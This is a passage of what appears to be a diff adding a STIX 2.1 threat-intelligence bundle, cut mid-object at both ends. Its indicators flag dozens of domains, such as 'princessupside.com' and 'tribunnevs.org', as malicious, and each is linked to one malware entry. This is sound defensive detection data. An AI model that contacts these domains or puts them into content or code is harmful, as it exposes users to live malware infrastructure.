"2023-03-29T12:58:44.020001Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed4b141c-59cd-46ee-8eb3-893858b3464f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f091ecd6-bd98-44a8-9899-eb92cb34b5d5", + "created": "2023-03-29T12:58:44.02017Z", + "modified": "2023-03-29T12:58:44.02017Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='princessupside.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.02017Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c4855c6c-b5a1-410f-9e61-5cd05863d76f", + "created": "2023-03-29T12:58:44.02077Z", + "modified": "2023-03-29T12:58:44.02077Z", + "relationship_type": "indicates", + "source_ref": "indicator--f091ecd6-bd98-44a8-9899-eb92cb34b5d5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f41a797b-6eb2-46a6-ba32-687bfe2803fe", + "created": "2023-03-29T12:58:44.02094Z", + "modified": "2023-03-29T12:58:44.02094Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fragmentclapped.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.02094Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--012006bd-fc95-4321-9a63-f8629f4a50f1", + "created": "2023-03-29T12:58:44.021546Z", + "modified": "2023-03-29T12:58:44.021546Z", + "relationship_type": "indicates", + "source_ref": "indicator--f41a797b-6eb2-46a6-ba32-687bfe2803fe", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e13170c9-d028-42fe-94f7-a98de483762f", + "created": "2023-03-29T12:58:44.021717Z", + "modified": "2023-03-29T12:58:44.021717Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cylinderespresso.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.021717Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1e1fc37b-f90c-47dc-b638-4269bfaed00a", + "created": "2023-03-29T12:58:44.022328Z", + "modified": "2023-03-29T12:58:44.022328Z", + "relationship_type": "indicates", + "source_ref": "indicator--e13170c9-d028-42fe-94f7-a98de483762f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d055e4fa-1a97-41dc-9fe6-37160be5a059", + "created": "2023-03-29T12:58:44.022496Z", + "modified": "2023-03-29T12:58:44.022496Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sandfishstalemate.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.022496Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6bf83a3e-b6ff-44ae-a182-352e84a54f9a", + "created": "2023-03-29T12:58:44.023096Z", + "modified": "2023-03-29T12:58:44.023096Z", + "relationship_type": "indicates", + "source_ref": "indicator--d055e4fa-1a97-41dc-9fe6-37160be5a059", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8df32050-c414-4ce2-9fd1-7b3ca4a30bc2", + "created": "2023-03-29T12:58:44.023262Z", + "modified": "2023-03-29T12:58:44.023262Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='faqstuffworld.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.023262Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--889d70e7-c40a-4883-b0cf-4580e1f7c15f", + "created": "2023-03-29T12:58:44.023858Z", + "modified": "2023-03-29T12:58:44.023858Z", + "relationship_type": "indicates", + "source_ref": "indicator--8df32050-c414-4ce2-9fd1-7b3ca4a30bc2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b077cf98-86a3-40ab-a080-8535468b0ea6", + "created": "2023-03-29T12:58:44.024027Z", + "modified": "2023-03-29T12:58:44.024027Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chastityvisibly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.024027Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7a0a35d8-b6cd-45f5-8b0c-5c10f8de1641", + "created": "2023-03-29T12:58:44.024668Z", + "modified": "2023-03-29T12:58:44.024668Z", + "relationship_type": "indicates", + "source_ref": "indicator--b077cf98-86a3-40ab-a080-8535468b0ea6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b10a0e29-09cc-4a16-8802-3419c065ba6d", + "created": "2023-03-29T12:58:44.02484Z", + "modified": "2023-03-29T12:58:44.02484Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clothingunmindful.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.02484Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--48a98077-98cb-41e3-b127-165f017b78fd", + "created": "2023-03-29T12:58:44.02557Z", + "modified": "2023-03-29T12:58:44.02557Z", + "relationship_type": "indicates", + "source_ref": "indicator--b10a0e29-09cc-4a16-8802-3419c065ba6d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7a4f5696-0636-4034-8f9a-018193a8acf4", + "created": "2023-03-29T12:58:44.025746Z", + "modified": "2023-03-29T12:58:44.025746Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vivva.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.025746Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--78b4e657-a3cd-4f61-bcb0-0d4acdcb7362", + "created": "2023-03-29T12:58:44.026336Z", + "modified": "2023-03-29T12:58:44.026336Z", + "relationship_type": "indicates", + "source_ref": "indicator--7a4f5696-0636-4034-8f9a-018193a8acf4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ad75b6ae-a071-4a4d-996d-456d81ff188d", + "created": "2023-03-29T12:58:44.026512Z", + "modified": "2023-03-29T12:58:44.026512Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='disparatebronchial.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.026512Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--653418ca-3e29-4279-b7e1-d7ba55054787", + "created": "2023-03-29T12:58:44.027156Z", + "modified": "2023-03-29T12:58:44.027156Z", + "relationship_type": "indicates", + "source_ref": "indicator--ad75b6ae-a071-4a4d-996d-456d81ff188d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8611f837-9f72-4e5f-8688-55c60545b173", + "created": "2023-03-29T12:58:44.027326Z", + "modified": "2023-03-29T12:58:44.027326Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bridgedpipe.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.027326Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b6b493f5-82cf-48fb-a1de-a269abd3a0e8", + "created": "2023-03-29T12:58:44.02793Z", + "modified": "2023-03-29T12:58:44.02793Z", + "relationship_type": "indicates", + "source_ref": "indicator--8611f837-9f72-4e5f-8688-55c60545b173", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--580cb4d8-585c-4e56-8b01-c720370168e3", + "created": "2023-03-29T12:58:44.0281Z", + "modified": "2023-03-29T12:58:44.0281Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clobberagenda.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.0281Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f45bc4f-7811-43fa-9355-6628215aa439", + "created": "2023-03-29T12:58:44.0287Z", + "modified": "2023-03-29T12:58:44.0287Z", + "relationship_type": "indicates", + "source_ref": "indicator--580cb4d8-585c-4e56-8b01-c720370168e3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2fdd0d72-dfb9-4418-8b1f-a60f67bb95d9", + "created": "2023-03-29T12:58:44.028873Z", + "modified": "2023-03-29T12:58:44.028873Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='amplypsychic.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.028873Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--df5a0fa7-b0f7-4750-8935-71b91316af2b", + "created": "2023-03-29T12:58:44.029473Z", + "modified": "2023-03-29T12:58:44.029473Z", + "relationship_type": "indicates", + "source_ref": "indicator--2fdd0d72-dfb9-4418-8b1f-a60f67bb95d9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--82fc6580-001d-4493-ad15-795d9036a92e", + "created": "2023-03-29T12:58:44.029649Z", + "modified": "2023-03-29T12:58:44.029649Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='startingimplicit.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.029649Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--370d4326-212c-4a61-9e83-527cd0d4bf73", + "created": "2023-03-29T12:58:44.03026Z", + "modified": "2023-03-29T12:58:44.03026Z", + "relationship_type": "indicates", + "source_ref": "indicator--82fc6580-001d-4493-ad15-795d9036a92e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--55343489-79fb-4781-9317-52096cdabaf2", + "created": "2023-03-29T12:58:44.03043Z", + "modified": "2023-03-29T12:58:44.03043Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='esagonoworld.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.03043Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--93fa4800-9cf3-4cfd-aba7-aed06d4b024d", + "created": "2023-03-29T12:58:44.031026Z", + "modified": "2023-03-29T12:58:44.031026Z", + "relationship_type": "indicates", + "source_ref": "indicator--55343489-79fb-4781-9317-52096cdabaf2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b4365cc5-bcc6-459b-a2b5-e12e7d6f22f8", + "created": "2023-03-29T12:58:44.031193Z", + "modified": "2023-03-29T12:58:44.031193Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unsteadyconfusing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.031193Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--afb951ea-d204-4a20-8620-7ed32f9eb075", + "created": "2023-03-29T12:58:44.031798Z", + "modified": "2023-03-29T12:58:44.031798Z", + "relationship_type": "indicates", + "source_ref": "indicator--b4365cc5-bcc6-459b-a2b5-e12e7d6f22f8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--82dd3354-9bfa-4210-b7c5-50c592ce3f10", + "created": "2023-03-29T12:58:44.031967Z", + "modified": "2023-03-29T12:58:44.031967Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wonderwhythis.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.031967Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c4ff5027-5f76-45b5-af8b-797393a91588", + "created": "2023-03-29T12:58:44.032679Z", + "modified": "2023-03-29T12:58:44.032679Z", + "relationship_type": "indicates", + "source_ref": "indicator--82dd3354-9bfa-4210-b7c5-50c592ce3f10", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f5e2defb-8dc6-4ce2-b702-878d30860a22", + "created": "2023-03-29T12:58:44.032851Z", + "modified": "2023-03-29T12:58:44.032851Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tribunnevs.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.032851Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--849668fd-4b99-481a-89c7-67c2e1d8c4ce", + "created": "2023-03-29T12:58:44.03345Z", + "modified": "2023-03-29T12:58:44.03345Z", + "relationship_type": "indicates", + "source_ref": "indicator--f5e2defb-8dc6-4ce2-b702-878d30860a22", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--241b9ef7-cc65-4050-b14b-f4c20e5bb1ae", + "created": "2023-03-29T12:58:44.033623Z", + "modified": "2023-03-29T12:58:44.033623Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='expectantsalvation.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.033623Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e4a0d6ee-1cd0-4bdb-b154-6428ba3aaf00", + "created": "2023-03-29T12:58:44.034227Z", + "modified": "2023-03-29T12:58:44.034227Z", + "relationship_type": "indicates", + "source_ref": "indicator--241b9ef7-cc65-4050-b14b-f4c20e5bb1ae", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--05710e92-d996-4b93-90e8-5e765c60f823", + "created": "2023-03-29T12:58:44.034395Z", + "modified": "2023-03-29T12:58:44.034395Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stilljeep.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.034395Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--11665860-39de-4f84-9c5b-4b0b217fbde6", + "created": "2023-03-29T12:58:44.034986Z", + "modified": "2023-03-29T12:58:44.034986Z", + "relationship_type": "indicates", + "source_ref": "indicator--05710e92-d996-4b93-90e8-5e765c60f823", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3bc70245-901e-4bf2-b95a-bc50a03d5525", + "created": "2023-03-29T12:58:44.035154Z", + "modified": "2023-03-29T12:58:44.035154Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='troublingstack.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.035154Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--33720ca7-11e7-4ff6-bf83-3ffe1991291f", + "created": "2023-03-29T12:58:44.035754Z", + "modified": "2023-03-29T12:58:44.035754Z", + "relationship_type": "indicates", + "source_ref": "indicator--3bc70245-901e-4bf2-b95a-bc50a03d5525", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--89ac8840-c657-4427-bc9f-df02345f7269", + "created": "2023-03-29T12:58:44.035921Z", + "modified": "2023-03-29T12:58:44.035921Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='icesuburb.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.035921Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0c40701f-13a0-4296-8644-98e7075041f6", + "created": "2023-03-29T12:58:44.036519Z", + "modified": "2023-03-29T12:58:44.036519Z", + "relationship_type": "indicates", + "source_ref": "indicator--89ac8840-c657-4427-bc9f-df02345f7269", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--92776896-9c3f-46ea-8015-b77e7a031278", + "created": "2023-03-29T12:58:44.036689Z", + "modified": "2023-03-29T12:58:44.036689Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cartintrack.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.036689Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--865ee9d8-0b44-4da3-9371-9964dc4cbcb4", + "created": "2023-03-29T12:58:44.037286Z", + "modified": "2023-03-29T12:58:44.037286Z", + "relationship_type": "indicates", + "source_ref": "indicator--92776896-9c3f-46ea-8015-b77e7a031278", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ede3babe-95db-422c-947c-d49317e241da", + "created": "2023-03-29T12:58:44.037455Z", + "modified": "2023-03-29T12:58:44.037455Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dosageregime.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.037455Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d971fb33-9b37-43d3-91be-cf9ea74676c0", + "created": "2023-03-29T12:58:44.038059Z", + "modified": "2023-03-29T12:58:44.038059Z", + "relationship_type": "indicates", + "source_ref": "indicator--ede3babe-95db-422c-947c-d49317e241da", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e8617fd-c001-40c1-ae46-f584982a9eaf", + "created": "2023-03-29T12:58:44.038229Z", + "modified": "2023-03-29T12:58:44.038229Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='urchindecipher.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.038229Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--012cafdf-51bc-4293-8a38-245897abfe55", + "created": "2023-03-29T12:58:44.038831Z", + "modified": "2023-03-29T12:58:44.038831Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e8617fd-c001-40c1-ae46-f584982a9eaf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7fac2175-356a-4b39-a292-40f06c21b2cb", + "created": "2023-03-29T12:58:44.039003Z", + "modified": "2023-03-29T12:58:44.039003Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='liputtan6.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.039003Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9a9d96ae-60d7-4822-b855-7d3ba0e8195b", + "created": "2023-03-29T12:58:44.039708Z", + "modified": "2023-03-29T12:58:44.039708Z", + "relationship_type": "indicates", + "source_ref": "indicator--7fac2175-356a-4b39-a292-40f06c21b2cb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ebda0f1a-5ef7-42dd-acb6-00cd7f01c360", + "created": "2023-03-29T12:58:44.039879Z", + "modified": "2023-03-29T12:58:44.039879Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stenstudio.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.039879Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8d1b8b45-07cd-4c41-bfe4-60a1dd90b2c1", + "created": "2023-03-29T12:58:44.040475Z", + "modified": "2023-03-29T12:58:44.040475Z", + "relationship_type": "indicates", + "source_ref": "indicator--ebda0f1a-5ef7-42dd-acb6-00cd7f01c360", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7934038e-4724-49c8-8716-47fedd5a4436", + "created": "2023-03-29T12:58:44.040644Z", + "modified": "2023-03-29T12:58:44.040644Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='concludealiens.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.040644Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cb3204c6-4f55-412d-9d9b-8f6250bc02e5", + "created": "2023-03-29T12:58:44.041275Z", + "modified": "2023-03-29T12:58:44.041275Z", + "relationship_type": "indicates", + "source_ref": "indicator--7934038e-4724-49c8-8716-47fedd5a4436", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--02f56a5c-7138-4d3e-8d9b-4838955548f0", + "created": "2023-03-29T12:58:44.041448Z", + "modified": "2023-03-29T12:58:44.041448Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swordlegion.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.041448Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--877e214d-23cc-4136-8337-9d692ef971a9", + "created": "2023-03-29T12:58:44.042059Z", + "modified": "2023-03-29T12:58:44.042059Z", + "relationship_type": "indicates", + "source_ref": "indicator--02f56a5c-7138-4d3e-8d9b-4838955548f0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b9e44ad2-0138-4cf3-8718-3bec2755e871", + "created": "2023-03-29T12:58:44.042231Z", + "modified": "2023-03-29T12:58:44.042231Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swivelunmixable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.042231Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--45ba85ad-ec06-4887-996c-de829acb0c79", + "created": "2023-03-29T12:58:44.042836Z", + "modified": "2023-03-29T12:58:44.042836Z", + "relationship_type": "indicates", + "source_ref": "indicator--b9e44ad2-0138-4cf3-8718-3bec2755e871", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7ef474ae-118e-4771-bf39-8de793409415", + "created": "2023-03-29T12:58:44.043006Z", + "modified": "2023-03-29T12:58:44.043006Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='drillerschedule.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.043006Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--856c4a24-4e34-48d0-bf83-d56d13ed28ce", + "created": "2023-03-29T12:58:44.043645Z", + "modified": "2023-03-29T12:58:44.043645Z", + "relationship_type": "indicates", + "source_ref": "indicator--7ef474ae-118e-4771-bf39-8de793409415", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--85f82a00-dd08-48d1-8bf5-1be8f232269f", + "created": "2023-03-29T12:58:44.043819Z", + "modified": "2023-03-29T12:58:44.043819Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='refurbcollections.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.043819Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--32829e71-b733-458f-88d1-9ad69fc78eed", + "created": "2023-03-29T12:58:44.044429Z", + "modified": "2023-03-29T12:58:44.044429Z", + "relationship_type": "indicates", + "source_ref": "indicator--85f82a00-dd08-48d1-8bf5-1be8f232269f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c4d93e7d-d44a-4b41-be5d-78bb97357b1c", + "created": "2023-03-29T12:58:44.044596Z", + "modified": "2023-03-29T12:58:44.044596Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='upstateexponent.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.044596Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--04e8346e-4624-443a-a5d6-5cbf6dfcd8f3", + "created": "2023-03-29T12:58:44.045198Z", + "modified": "2023-03-29T12:58:44.045198Z", + "relationship_type": "indicates", + "source_ref": "indicator--c4d93e7d-d44a-4b41-be5d-78bb97357b1c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b21f9966-be9a-40c5-bdf2-cc502afa0670", + "created": "2023-03-29T12:58:44.04537Z", + "modified": "2023-03-29T12:58:44.04537Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wronglyobscurity.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.04537Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c804fe11-b69c-4851-a155-cfcb030dc19a", + "created": "2023-03-29T12:58:44.045982Z", + "modified": "2023-03-29T12:58:44.045982Z", + "relationship_type": "indicates", + "source_ref": "indicator--b21f9966-be9a-40c5-bdf2-cc502afa0670", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6c887bfd-76ab-45b0-b13d-f70cda0c3c1d", + "created": "2023-03-29T12:58:44.04615Z", + "modified": "2023-03-29T12:58:44.04615Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unneededfeminine.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.04615Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e359c4a1-b464-4c0c-bd95-0564e2b1a4fb", + "created": "2023-03-29T12:58:44.046865Z", + "modified": "2023-03-29T12:58:44.046865Z", + "relationship_type": "indicates", + "source_ref": "indicator--6c887bfd-76ab-45b0-b13d-f70cda0c3c1d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fd49c35b-7001-4310-aa4c-86e5b43fefb4", + "created": "2023-03-29T12:58:44.047038Z", + "modified": "2023-03-29T12:58:44.047038Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yellowgolfcar.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.047038Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--93be0bba-9879-4c56-bb93-27c270b0a227", + "created": "2023-03-29T12:58:44.047734Z", + "modified": "2023-03-29T12:58:44.047734Z", + "relationship_type": "indicates", + "source_ref": "indicator--fd49c35b-7001-4310-aa4c-86e5b43fefb4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6495f70f-effd-416e-a4cc-58646aaaf32d", + "created": "2023-03-29T12:58:44.047908Z", + "modified": "2023-03-29T12:58:44.047908Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='feminizeuseable.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.047908Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bab7073d-dcea-4e2c-bce6-f8c724c70ba1", + "created": "2023-03-29T12:58:44.048512Z", + "modified": "2023-03-29T12:58:44.048512Z", + "relationship_type": "indicates", + "source_ref": "indicator--6495f70f-effd-416e-a4cc-58646aaaf32d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa862d82-0bec-454c-a20a-3c480002de9c", + "created": "2023-03-29T12:58:44.048679Z", + "modified": "2023-03-29T12:58:44.048679Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thundermonster.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.048679Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c17fafd7-daba-4a1b-ab33-67d1116fc8c8", + "created": 